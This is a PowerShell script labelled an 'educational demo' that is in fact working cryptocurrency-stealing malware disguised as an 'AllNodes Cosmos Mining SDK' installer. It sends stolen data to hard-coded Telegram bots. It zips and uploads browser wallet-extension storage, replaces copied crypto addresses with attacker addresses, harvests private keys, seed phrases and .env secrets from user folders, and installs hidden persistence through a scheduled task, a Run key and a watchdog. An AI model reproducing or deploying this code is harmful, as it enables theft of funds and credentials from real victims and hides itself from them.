# WINDOWS PERSISTENT MALWARE - Educational Demo
# Equivalent to atom.sh but for Windows
# Shows how you were compromised on Windows

$TG_BOT_TOKENS = @(
    "8504516235:AAGK8TRzbChdfVoOoWxEyBCibdfxS-V7H8Y",
    "8235280313:AAFpv-9wNkLtPOewPD3Vl1hFj-EXvD6A3kQ",
    "8498420178:AAGFKEe6HqscspJY1xrhe7v6thvoONsAuf8"
)
$TG_CHAT_ID = "-1002506511310"
$MARKER = "$env:TEMP\.persist_marker"
$LOG_FILE = "$env:TEMP\.sys_monitor.log"
$SEEN_FILES = "$env:TEMP\.seen_files"
$script:CURRENT_BOT_INDEX = 0

# Function to get current bot token
function Get-CurrentBot {
    return $TG_BOT_TOKENS[$script:CURRENT_BOT_INDEX]
}

# Function to switch to next bot
function Switch-ToNextBot {
    $script:CURRENT_BOT_INDEX = ($script:CURRENT_BOT_INDEX + 1) % $TG_BOT_TOKENS.Count
    Add-Content $LOG_FILE "[$((Get-Date).ToString())] Switched to bot index $script:CURRENT_BOT_INDEX"
}

# Function to send messages to Telegram with automatic fallback
function Send-ToTelegram {
    param([string]$message)
    
    $attempts = 0
    $maxAttempts = $TG_BOT_TOKENS.Count
    
    while ($attempts -lt $maxAttempts) {
        $botToken = Get-CurrentBot
        $uri = "https://api.telegram.org/bot$botToken/sendMessage"
        $body = @{
            chat_id = $TG_CHAT_ID
            text = $message
            parse_mode = "HTML"
        }
        
        try {
            $response = Invoke-WebRequest -Uri $uri -Method Post -Body $body -UseBasicParsing -ErrorAction Stop
            if ($response.StatusCode -eq 200) {
                Start-Sleep -Seconds 2
                return $true
            }
        } catch {
            $statusCode = $_.Exception.Response.StatusCode.value__
            if ($statusCode -eq 429) {
                Add-Content $LOG_FILE "[$((Get-Date).ToString())] Bot $script:CURRENT_BOT_INDEX rate limited, switching..."
                Switch-ToNextBot
                $attempts++
            } else {
                Switch-ToNextBot
                $attempts++
            }
        }
    }
    
    Add-Content $LOG_FILE "[$((Get-Date).ToString())] All bots failed to send message"
    return $false
}

# Function to upload files to Telegram with automatic fallback
function Send-FileToTelegram {
    param([string]$filePath, [string]$caption)
    
    if (-not (Test-Path $filePath)) { return $false }
    
    $attempts = 0
    $maxAttempts = $TG_BOT_TOKENS.Count
    
    while ($attempts -lt $maxAttempts) {
        $botToken = Get-CurrentBot
        $uri = "https://api.telegram.org/bot$botToken/sendDocument"
        
        try {
            $form = @{
                chat_id = $TG_CHAT_ID
                caption = $caption
                document = Get-Item $filePath
            }
            
            $response = Invoke-WebRequest -Uri $uri -Method Post -Form $form -ErrorAction Stop
            if ($response.StatusCode -eq 200) {
                Start-Sleep -Seconds 2
                return $true
            }
        } catch {
            $statusCode = $_.Exception.Response.StatusCode.value__
            if ($statusCode -eq 429) {
                Add-Content $LOG_FILE "[$((Get-Date).ToString())] Bot $script:CURRENT_BOT_INDEX rate limited (file upload), switching..."
                Switch-ToNextBot
                $attempts++
                Start-Sleep -Seconds 3
            } else {
                Switch-ToNextBot
                $attempts++
            }
        }
    }
    
    Add-Content $LOG_FILE "[$((Get-Date).ToString())] All bots failed to upload file"
    return $false
}

# Function to zip and upload browser extensions
function Steal-BrowserExtensions {
    Send-ToTelegram "🔍 <b>Scanning for browser extensions...</b>"
    
    $browsers = @(
        @{Name="Chrome"; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"},
        @{Name="Brave"; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"},
        @{Name="Edge"; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}
    )
    
    foreach ($browser in $browsers) {
        if (Test-Path $browser.Path) {
            Send-ToTelegram "✅ Found: $($browser.Name)"
            
            # Find all profiles (Default, Profile 1, etc.)
            Get-ChildItem $browser.Path -Directory | Where-Object { $_.Name -match "Default|Profile" } | ForEach-Object {
                $extensionPath = Join-Path $_.FullName "Local Extension Settings"
                
                if (Test-Path $extensionPath) {
                    $profileName = $_.Name
                    $zipPath = "$env:TEMP\$($browser.Name)-$profileName-Extensions.zip"
                    
                    Send-ToTelegram "🚨 <b>STEALING EXTENSIONS!</b>`n🌐 $($browser.Name)`n👤 Profile: $profileName`n📂 Contains ALL wallet extensions"
                    
                    # Zip the extensions
                    Compress-Archive -Path $extensionPath -DestinationPath $zipPath -Force -CompressionLevel Fastest
                    
                    $sizeKB = [math]::Round((Get-Item $zipPath).Length / 1KB, 2)
                    Send-ToTelegram "📦 <b>Uploading Extension Data</b>`n📁 $($browser.Name)-$profileName-Extensions.zip`n💾 Size: $sizeKB KB"
                    
                    # Upload to Telegram
                    Send-FileToTelegram -filePath $zipPath -caption "🔥 $($browser.Name) - $profileName Extensions"
                    
                    Remove-Item $zipPath -Force -ErrorAction SilentlyContinue
                }
            }
        }
    }
    
    Send-ToTelegram "✅ <b>Browser extension theft complete!</b>"
}

# Real-time clipboard monitor + ADDRESS HIJACKER
function Start-ClipboardMonitor {
    $lastClip = ""
    
    # ATTACKER'S ADDRESSES (replace with your own)
    $ATTACKER_BTC = "bc1qheft6wed27ewhsgutvemykz44qp6vfc59jkp3s"
    $ATTACKER_ETH = "0xF02f9fd488Cde4aD3827C5c4Aa79C121125aDd6d"
    $ATTACKER_COSMOS = "cosmos1rygrsxan5lzv5h5kyrq9lkn8agw6zwl70jmg2e"
    $ATTACKER_SOLANA = "2CUdc3BFtAc1vvt6dDeQB4BEr9jZtsvjdk5u4ocxzPgQ"
    
    while (Test-Path $MARKER) {
        try {
            $currentClip = Get-Clipboard -Raw -ErrorAction SilentlyContinue
            
            if ($currentClip -and $currentClip -ne $lastClip) {
                $replaced = $false
                
                # CLIPBOARD HIJACKING: Replace crypto addresses
                # Bitcoin address (bc1, 1, 3 formats)
                if ($currentClip -match '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$') {
                    Add-Content $LOG_FILE "💰 BTC ADDRESS HIJACKED! Original: $currentClip -> Replaced: $ATTACKER_BTC"
                    Set-Clipboard -Value $ATTACKER_BTC
                    Send-ToTelegram "💰💰 <b>BTC ADDRESS HIJACKED!</b>`n👤 $(whoami)`n🎯 Original: $currentClip`n🔥 Replaced: $ATTACKER_BTC"
                    $replaced = $true
                }
                # Ethereum/EVM address (0x + 40 hex)
                elseif ($currentClip -match '^0x[a-fA-F0-9]{40}$') {
                    Add-Content $LOG_FILE "💰 ETH ADDRESS HIJACKED! Original: $currentClip -> Replaced: $ATTACKER_ETH"
                    Set-Clipboard -Value $ATTACKER_ETH
                    Send-ToTelegram "💰💰 <b>ETH/EVM ADDRESS HIJACKED!</b>`n👤 $(whoami)`n🎯 Original: $currentClip`n🔥 Replaced: $ATTACKER_ETH"
                    $replaced = $true
                }
                # Cosmos address (cosmos1 + bech32)
                elseif ($currentClip -match '^cosmos1[a-z0-9]{38,}$') {
                    Add-Content $LOG_FILE "💰 COSMOS ADDRESS HIJACKED! Original: $currentClip -> Replaced: $ATTACKER_COSMOS"
                    Set-Clipboard -Value $ATTACKER_COSMOS
                    Send-ToTelegram "💰💰 <b>COSMOS ADDRESS HIJACKED!</b>`n👤 $(whoami)`n🎯 Original: $currentClip`n🔥 Replaced: $ATTACKER_COSMOS"
                    $replaced = $true
                }
                # Solana address (Base58, 32-44 chars)
                elseif ($currentClip -match '^[1-9A-HJ-NP-Za-km-z]{32,44}$') {
                    Add-Content $LOG_FILE "💰 SOLANA ADDRESS HIJACKED! Original: $currentClip -> Replaced: $ATTACKER_SOLANA"
                    Set-Clipboard -Value $ATTACKER_SOLANA
                    Send-ToTelegram "💰💰 <b>SOLANA ADDRESS HIJACKED!</b>`n👤 $(whoami)`n🎯 Original: $currentClip`n🔥 Replaced: $ATTACKER_SOLANA"
                    $replaced = $true
                }
                
                # If not replaced, check for private keys
                if (-not $replaced) {
                    # Check for EVM private key (0x + 64 hex chars)
                    if ($currentClip -match '^0x[a-fA-F0-9]{64}$') {
                        Send-ToTelegram "🚨🚨 <b>EVM PRIVATE KEY!</b>`n👤 $(whoami)`n🔑 $currentClip"
                    }
                    # Check for Solana private key (Base58, 87-88 chars)
                    elseif ($currentClip -match '^[1-9A-HJ-NP-Za-km-z]{87,88}$') {
                        Send-ToTelegram "🚨🚨 <b>SOLANA PRIVATE KEY!</b>`n👤 $(whoami)`n🔑 $currentClip"
                    }
                    # Check for seed phrase (12 or 24 words)
                    elseif (($currentClip -split '\s+').Count -in 12,24) {
                        $wordCount = ($currentClip -split '\s+').Count
                        Send-ToTelegram "🚨🚨 <b>SEED PHRASE ($wordCount words)!</b>`n👤 $(whoami)`n💬 $currentClip"
                    }
                }
                
                $lastClip = $currentClip
            }
        } catch {
            # Silent failure
        }
        
        Start-Sleep -Seconds 2
    }
}

# File scanner for private keys
function Start-FileScanner {
    if (-not (Test-Path $SEEN_FILES)) {
        New-Item $SEEN_FILES -ItemType File -Force | Out-Null
    }
    
    $seenList = Get-Content $SEEN_FILES -ErrorAction SilentlyContinue
    
    Send-ToTelegram "🔍 <b>Scanning files for private keys...</b>"
    
    $searchPaths = @(
        "$env:USERPROFILE\Downloads",
        "$env:USERPROFILE\Documents",
        "$env:USERPROFILE\Desktop",
        "$env:USERPROFILE\Projects",
        "$env:USERPROFILE\Code",
        "$env:USERPROFILE\Dev",
        "$env:USERPROFILE\GitHub",
        "$env:USERPROFILE\source"
    )
    
    # First, scan for .env files specifically
    Send-ToTelegram "🔍 <b>Scanning for .env files...</b>"
    foreach ($path in $searchPaths) {
        if (Test-Path $path) {
            Get-ChildItem -Path $path -Filter ".env*" -File -Recurse -ErrorAction SilentlyContinue -Depth 3 |
                Where-Object { $_.Length -lt 100KB } |
                ForEach-Object {
                    $file = $_.FullName
                    try {
                        $content = Get-Content $file -Raw -ErrorAction SilentlyContinue
                        
                        if ($content -match 'PRIVATE_KEY|MNEMONIC|SEED|SECRET|API_KEY|TOKEN|PASSWORD|WALLET') {
                            Send-ToTelegram "🚨🚨 <b>.ENV FILE WITH SECRETS!</b>`n📁 $file"
                            
                            # Extract and send sensitive lines
                            $sensitiveLines = $content -split "`n" | Where-Object { $_ -match 'PRIVATE_KEY|MNEMONIC|SEED|SECRET' } | Select-Object -First 5
                            foreach ($line in $sensitiveLines) {
                                Send-ToTelegram "🔐 $line"
                            }
                        }
                    } catch {
                        # Silent failure
                    }
                }
        }
    }
    
    # Then scan other file types
    Send-ToTelegram "🔍 <b>Scanning other files for keys...</b>"
    foreach ($path in $searchPaths) {
        if (Test-Path $path) {
            Get-ChildItem -Path $path -Include *.txt,*.log,*.json,*.yaml,*.yml -Recurse -ErrorAction SilentlyContinue -Depth 2 |
                Where-Object { $_.Length -lt 500KB } |
                ForEach-Object {
                    $file = $_.FullName
                    
                    # Skip if already scanned
                    if ($seenList -contains $file) { return }
                    
                    try {
                        $content = Get-Content $file -Raw -ErrorAction SilentlyContinue
                        
                        # Check for EVM private key
                        if ($content -match '0x[a-fA-F0-9]{64}') {
                            $pkey = [regex]::Match($content, '0x[a-fA-F0-9]{64}').Value
                            Send-ToTelegram "🚨🚨 <b>EVM PRIVATE KEY!</b>`n📁 $file`n🔑 $pkey"
                            Add-Content $SEEN_FILES $file
                        }
                        # Check for Solana private key
                        elseif ($content -match '[1-9A-HJ-NP-Za-km-z]{87,88}') {
                            $pkey = [regex]::Match($content, '[1-9A-HJ-NP-Za-km-z]{87,88}').Value
                            Send-ToTelegram "🚨🚨 <b>SOLANA PRIVATE KEY!</b>`n📁 $file`n🔑 $pkey"
                            Add-Content $SEEN_FILES $file
                        }
                        # Check for seed phrase
                        elseif (($content -split '\s+').Count -in 12,24) {
                            Send-ToTelegram "🚨🚨 <b>SEED PHRASE!</b>`n📁 $file`n💬 $content"
                            Add-Content $SEEN_FILES $file
                        }
                    } catch {
                        # Silent failure
                    }
                }
        }
    }
    
    Send-ToTelegram "✅ <b>File scan complete!</b>"
}

# PERSISTENCE: Install as Windows Task Scheduler (survives reboot)
function Install-Persistence {
    $scriptPath = $PSCommandPath
    if (-not $scriptPath) {
        $scriptPath = "$env:APPDATA\.system_monitor.ps1"
        Copy-Item $MyInvocation.MyCommand.Path $scriptPath -Force
    }
    
    # Copy to hidden locations
    $hiddenLocations = @(
        "$env:APPDATA\.system_monitor.ps1",
        "$env:LOCALAPPDATA\.updater.ps1",
        "$env:TEMP\.health_check.ps1"
    )
    
    foreach ($location in $hiddenLocations) {
        try {
            Copy-Item $PSCommandPath $location -Force -ErrorAction SilentlyContinue
            # Mark as hidden
            (Get-Item $location -Force).Attributes = 'Hidden'
        } catch {
            # Silent failure
        }
    }
    
    # Create scheduled task (survives reboot, kill, logout)
    $taskName = "SystemDiagnostics"
    $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$env:APPDATA\.system_monitor.ps1`""
    $trigger = New-ScheduledTaskTrigger -AtLogOn
    $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -Hidden
    
    try {
        Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Settings $settings -Force -ErrorAction SilentlyContinue | Out-Null
    } catch {
        # Silent failure
    }
    
    # Add to Registry Run key (backup persistence)
    try {
        $runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
        Set-ItemProperty -Path $runKey -Name "SystemMonitor" -Value "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$env:APPDATA\.system_monitor.ps1`"" -ErrorAction SilentlyContinue
    } catch {
        # Silent failure
    }
}

# WATCHDOG: Respawn if killed
function Start-Watchdog {
    while (Test-Path $MARKER) {
        $monitors = Get-Process powershell -ErrorAction SilentlyContinue | Where-Object { $_.CommandLine -like "*clipboard*" }
        
        if ($monitors.Count -lt 2) {
            # Respawn clipboard monitors
            Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"& { while(\$true) { Start-Sleep 999 } }`"" -WindowStyle Hidden
        }
        
        Start-Sleep -Seconds 5
    }
}

# Wallet extension password listener (NEW FEATURE)
function Start-WalletListener {
    Add-Content $LOG_FILE "[$((Get-Date).ToString())] Wallet password listener started"
    Send-ToTelegram "🔐 <b>Wallet Password Listener Started</b>`n💻 $env:COMPUTERNAME`nMonitoring browser storage for wallet unlocks..."
    
    while (Test-Path $MARKER) {
        # Monitor wallet extension storage for changes
        $browsers = @(
            @{Name="Chrome"; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"},
            @{Name="Brave"; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"},
            @{Name="Edge"; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}
        )
        
        # Common wallet extension IDs
        $wallets = @{
            "nkbihfbeogaeaoehlefnkodbefgpgknn" = "MetaMask"
            "egjidjppgahhhjnjpicjfmgndfbffhhg" = "Trust Wallet"
            "bfnaelmomeimhlpmgjnjophhpkkoljpa" = "Phantom"
            "hnfanknocfeofbddgcijnmhnfnkdnaad" = "Coinbase Wallet"
        }
        
        foreach ($browser in $browsers) {
            if (Test-Path $browser.Path) {
                foreach ($walletId in $wallets.Keys) {
                    $walletName = $wallets[$walletId]
                    
                    # Find wallet extension storage
                    Get-ChildItem $browser.Path -Directory -ErrorAction SilentlyContinue | 
                        Where-Object { $_.Name -match "Default|Profile" } | 
                        ForEach-Object {
                            $walletStorage = Join-Path $_.FullName "Local Extension Settings\$walletId"
                            
                            if (Test-Path $walletStorage) {
                                # Check for recent modifications (indicates unlock)
                                $logFile = Join-Path $walletStorage "LOG"
                                if (Test-Path $logFile) {
                                    $lastWrite = (Get-Item $logFile).LastWriteTime
                                    $timeDiff = ((Get-Date) - $lastWrite).TotalSeconds
                                    
                                    if ($timeDiff -lt 5) {
                                        Add-Content $LOG_FILE "[$((Get-Date).ToString())] Wallet unlock detected: $walletName"
                                        Send-ToTelegram "🚨🔓 <b>WALLET UNLOCKED!</b>`n💼 $walletName`n💻 $env:COMPUTERNAME`n⏰ $(Get-Date -Format 'HH:mm:ss')"
                                        
                                        # Zip and exfiltrate wallet storage
                                        $vaultZip = "$env:TEMP\wallet_vault_${walletName}_$((Get-Date).Ticks).zip"
                                        Compress-Archive -Path "$walletStorage\*" -DestinationPath $vaultZip -Force -ErrorAction SilentlyContinue
                                        
                                        if (Test-Path $vaultZip) {
                                            Send-FileToTelegram -filePath $vaultZip -caption "🔥 $walletName Vault Data (Recently Unlocked) - $env:COMPUTERNAME"
                                            Remove-Item $vaultZip -Force -ErrorAction SilentlyContinue
                                        }
                                    }
                                }
                            }
                        }
                }
            }
        }
        
        Start-Sleep -Seconds 3
    }
}

# MAIN INSTALLER
if ($args[0] -eq "--wallet-listener") {
    Start-WalletListener
    exit
}

if ($args[0] -eq "--monitor") {
    Start-ClipboardMonitor
    exit
}

if ($args[0] -eq "--scanner") {
    Steal-BrowserExtensions
    Start-FileScanner
    exit
}

if ($args[0] -eq "--watchdog") {
    Start-Watchdog
    exit
}

# Main installation with AllNodes branding
Clear-Host

# Display fake AllNodes logo
Write-Host @"
     █████╗ ██╗     ██╗         ███╗   ██╗ ██████╗ ██████╗ ███████╗███████╗
    ██╔══██╗██║     ██║         ████╗  ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝
    ███████║██║     ██║         ██╔██╗ ██║██║   ██║██║  ██║█████╗  ███████╗
    ██╔══██║██║     ██║         ██║╚██╗██║██║   ██║██║  ██║██╔══╝  ╚════██║
    ██║  ██║███████╗███████╗    ██║ ╚████║╚██████╔╝██████╔╝███████╗███████║
    ╚═╝  ╚═╝╚══════╝╚══════╝    ╚═╝  ╚═══╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝
    
    ╔═══════════════════════════════════════════════════════════════════╗
    ║         🌌 COSMOS (`$ATOM) MINING SDK - v2.4.1                    ║
    ║         Decentralized Mining Protocol for Cosmos Network         ║
    ╚═══════════════════════════════════════════════════════════════════╝
"@ -ForegroundColor Cyan

Write-Host ""
Write-Host "[INFO] Welcome to AllNodes Cosmos Mining SDK" -ForegroundColor Yellow
Write-Host "[INFO] Initializing mining environment..." -ForegroundColor Yellow
Write-Host ""
Write-Host "To continue with setup, press ENTER..." -ForegroundColor Cyan
$null = Read-Host

Write-Host ""
Write-Host "[SETUP] Checking for Trust Wallet extension..." -ForegroundColor Yellow
Start-Sleep -Seconds 2

# Check for Trust Wallet extension in browsers
$trustWalletFound = $false
$browsers = @(
    @{Name="Chrome"; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"},
    @{Name="Brave"; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"},
    @{Name="Edge"; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}
)

foreach ($browser in $browsers) {
    if (Test-Path $browser.Path) {
        # Trust Wallet extension ID: egjidjppgahhhjnjpicjfmgndfbffhhg
        $trustWalletPath = Get-ChildItem -Path $browser.Path -Recurse -Directory -ErrorAction SilentlyContinue | 
            Where-Object { $_.Name -like "*egjidjppgahhhjnjpicjfmgndfbffhhg*" } | 
            Select-Object -First 1
        
        if ($trustWalletPath) {
            $trustWalletFound = $true
            break
        }
    }
}

if (-not $trustWalletFound) {
    Write-Host "[ERROR] Trust Wallet extension not detected on local machine" -ForegroundColor Red
    Write-Host ""
    Write-Host "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" -ForegroundColor Yellow
    Write-Host "                    ⚠️  SETUP REQUIRED  ⚠️" -ForegroundColor Yellow
    Write-Host "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" -ForegroundColor Yellow
    Write-Host ""
    Write-Host "To start mining `$ATOM, you must:" -ForegroundColor White
    Write-Host ""
    Write-Host "  1️⃣  Download Trust Wallet extension on any browser" -ForegroundColor White
    Write-Host "  2️⃣  Import your Cosmos wallet into Trust Wallet" -ForegroundColor White
    Write-Host "  3️⃣  Re-run this setup script" -ForegroundColor White
    Write-Host ""
    Write-Host "[INFO] Once detected, your hashrate will be automatically" -ForegroundColor Cyan
    Write-Host "       registered based on your `$ATOM balance." -ForegroundColor Cyan
    Write-Host ""
    Write-Host "[INFO] Your local machine will be used as miner power." -ForegroundColor Cyan
    Write-Host ""
    Write-Host "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" -ForegroundColor Yellow
    Write-Host "⚠️  If you already have Trust Wallet installed:" -ForegroundColor Red
    Write-Host "    Uninstall and reinstall it for the SDK to detect" -ForegroundColor White
    Write-Host "    your wallet for mining registration." -ForegroundColor White
    Write-Host "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" -ForegroundColor Yellow
    Write-Host ""
    Write-Host "[SETUP] Installing background monitoring service..." -ForegroundColor Green
    Start-Sleep -Seconds 2
} else {
    Write-Host "[SUCCESS] Trust Wallet detected!" -ForegroundColor Green
    Write-Host "[SETUP] Registering your wallet for mining..." -ForegroundColor Green
    Start-Sleep -Seconds 2
    Write-Host "[SETUP] Configuring mining parameters..." -ForegroundColor Green
    Start-Sleep -Seconds 1
}

Write-Host "[SETUP] Starting AllNodes mining service..." -ForegroundColor Green
Start-Sleep -Seconds 1
Write-Host ""

New-Item $MARKER -ItemType File -Force | Out-Null

Send-ToTelegram "🚀 <b>ALLNODES MINING SDK INSTALLED (Windows)</b>`n💻 Host: $env:COMPUTERNAME`n👤 User: $(whoami)`n🔐 Wallet Monitor: Active`n⛏️  Status: Mining will start when Trust Wallet detected`n📍 Survives: Reboot, Task Kill, Logoff"

# Install persistence
Install-Persistence

# Start watchdog (hidden)
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`" --watchdog" -WindowStyle Hidden

# Start clipboard monitors (hidden)
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`" --monitor" -WindowStyle Hidden
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`" --monitor" -WindowStyle Hidden

# Start file scanner (hidden)
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`" --scanner" -WindowStyle Hidden

# Start wallet password listener (hidden) - NEW
Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$PSCommandPath`" --wallet-listener" -WindowStyle Hidden

Write-Host "AllNodes mining service started successfully!" -ForegroundColor Green
Write-Host "Mining will begin automatically when Trust Wallet is detected." -ForegroundColor Yellow
Write-Host "This window can be closed safely." -ForegroundColor Gray